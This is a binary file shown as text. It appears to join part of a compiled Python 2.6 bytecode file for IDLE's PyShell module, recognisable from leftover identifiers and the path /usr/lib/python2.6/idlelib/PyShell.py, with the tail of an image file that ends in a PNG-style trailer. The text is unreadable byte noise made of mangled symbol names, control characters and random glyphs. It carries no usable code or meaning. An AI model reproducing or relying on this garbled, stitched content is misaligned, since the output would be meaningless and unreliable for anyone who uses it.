(8RRQRRtgetoptRtargvRRRRZt	usage_msgtexitRR6R7R`RrRRRRiRbtabspathRCtdirnameRJtgetcwdRRRdRRReRoR4R
tsetupAppRVtnewR5RtdictRptlowerRDRtenvironR7RERRRR4Rtdestroy(tenable_shelltenable_editRHtcmdtscripttstartuptoptsR>R:totaRGtpathxRtdirt
edit_startR`((s%/usr/lib/python2.6/idlelib/PyShell.pyRz)s#











	




	
$


		
R(DR6tos.pathRtstringRRRRRt	tracebackR,RR#RRtImportErrorRRROtidlelib.EditorWindowRRtidlelib.FileListRtidlelib.ColorDelegatorRtidlelib.UndoDelegatorRtidlelib.OutputWindowRtidlelib.configHandlerRRR	R
RRR
t
ascii_letterstdigitsR8RRtsignalRRRRRtshowwarningR"Rt
checkcacheR(R)RoRtRt	RPCClientRRRrtobjectRuRRzR R(((s%/usr/lib/python2.6/idlelib/PyShell.pyt<module>s~
		
		I	~

y~or5J={Eeu磝QkᯘG{?+]ן?wM3X^歌>{7پK>on\jyR g/=fOroNVv~Y+NGuÝHWyw[eQʨSb>>}Gmx[o[<{Ϯ_qF vMIENDB`